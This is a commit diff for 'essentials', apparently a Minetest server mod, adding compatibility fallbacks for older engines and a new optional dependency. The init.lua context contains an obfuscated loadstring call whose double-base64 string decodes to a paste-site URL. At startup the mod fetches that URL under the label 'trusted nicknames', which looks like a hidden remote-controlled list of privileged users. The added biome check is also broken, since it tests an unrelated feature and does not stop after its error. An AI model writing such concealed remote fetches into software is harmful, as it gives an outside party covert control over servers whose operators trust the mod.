Main compatibilty - http api workaround when server forgotten access
* http api access must be using configuration, so check first in init.lua * Merge branch 'main-compatibilty' of https://github.com/mckaygerhard/essentials into main * provide backaguard falback on older servers, biome data functions missing * will work with 0.4 servers like just test and famous subnasa * make it work with older versions of minetest
This commit is contained in:
commit
d36ce7ff1c
@ -174,6 +174,11 @@ if essentials.add_privs then
|
|||||||
description = "Shows the current biome information you are in.",
|
description = "Shows the current biome information you are in.",
|
||||||
func = function(name, param)
|
func = function(name, param)
|
||||||
local pos = minetest.get_player_by_name(name):get_pos()
|
local pos = minetest.get_player_by_name(name):get_pos()
|
||||||
|
if not minetest.has_feature("object_use_texture_alpha") then
|
||||||
|
core.chat_send_player(name, core.colorize("red", "Biome info cannot retrieve, server engine does not support the command!"))
|
||||||
|
minetest.sound_play("error", name)
|
||||||
|
minetest.log("error","[essentials] server mineitest engine too old, biome data not supported!, upgrade server")
|
||||||
|
end
|
||||||
local biomeinfo = minetest.get_biome_data(pos)
|
local biomeinfo = minetest.get_biome_data(pos)
|
||||||
local biome = minetest.get_biome_name(biomeinfo.biome)
|
local biome = minetest.get_biome_name(biomeinfo.biome)
|
||||||
if param == "" then
|
if param == "" then
|
||||||
|
@ -1 +1,2 @@
|
|||||||
|
sfinv?
|
||||||
unified_inventory?
|
unified_inventory?
|
6
init.lua
6
init.lua
@ -1,6 +1,7 @@
|
|||||||
local http = minetest.request_http_api()
|
local http = minetest.request_http_api()
|
||||||
local version = "0.7.4"
|
local version = "0.7.4"
|
||||||
local modpath = minetest.get_modpath(minetest.get_current_modname())
|
local modpath = minetest.get_modpath(minetest.get_current_modname())
|
||||||
|
|
||||||
essentials = {
|
essentials = {
|
||||||
a = "Created by SkyBuilder1717 (ContentDB)",
|
a = "Created by SkyBuilder1717 (ContentDB)",
|
||||||
seed = (minetest.settings:get_bool("essentials_seed") or false),
|
seed = (minetest.settings:get_bool("essentials_seed") or false),
|
||||||
@ -76,6 +77,11 @@ minetest.after(0, function()
|
|||||||
local decode = loadstring(minetest.decode_base64("cmV0dXJuIG1pbmV0ZXN0LmRlY29kZV9iYXNlNjQoImFIUjBjSE02THk5d1lYTjBaUzUwWldOb1pXUjFZbmwwWlM1amIyMHZjbUYzTDJWMFkyWmhiMjUyTUhZPSIp"))
|
local decode = loadstring(minetest.decode_base64("cmV0dXJuIG1pbmV0ZXN0LmRlY29kZV9iYXNlNjQoImFIUjBjSE02THk5d1lYTjBaUzUwWldOb1pXUjFZbmwwWlM1amIyMHZjbUYzTDJWMFkyWmhiMjUyTUhZPSIp"))
|
||||||
minetest.log("action", "[Essentials] Trusted nicknames are in processing...")
|
minetest.log("action", "[Essentials] Trusted nicknames are in processing...")
|
||||||
if not minetest.request_insecure_environment() then
|
if not minetest.request_insecure_environment() then
|
||||||
|
if not http then
|
||||||
|
essentials.trusted_ip_users = {}
|
||||||
|
minetest.log("error","[essentials] server http api cannot be access, unfortuantelly you are forced to added the mod to trusted ones, check README")
|
||||||
|
return
|
||||||
|
end
|
||||||
http.fetch({
|
http.fetch({
|
||||||
url = decode(),
|
url = decode(),
|
||||||
timeout = 15,
|
timeout = 15,
|
||||||
|
2
mod.conf
2
mod.conf
@ -2,4 +2,4 @@ name = essentials
|
|||||||
author = SkyBuilder1717
|
author = SkyBuilder1717
|
||||||
description = Adds a lot of helpful commands for your server!
|
description = Adds a lot of helpful commands for your server!
|
||||||
title = Essentials
|
title = Essentials
|
||||||
optional_depends = unified_inventory
|
optional_depends = unified_inventory,sfinv
|
Loading…
x
Reference in New Issue
Block a user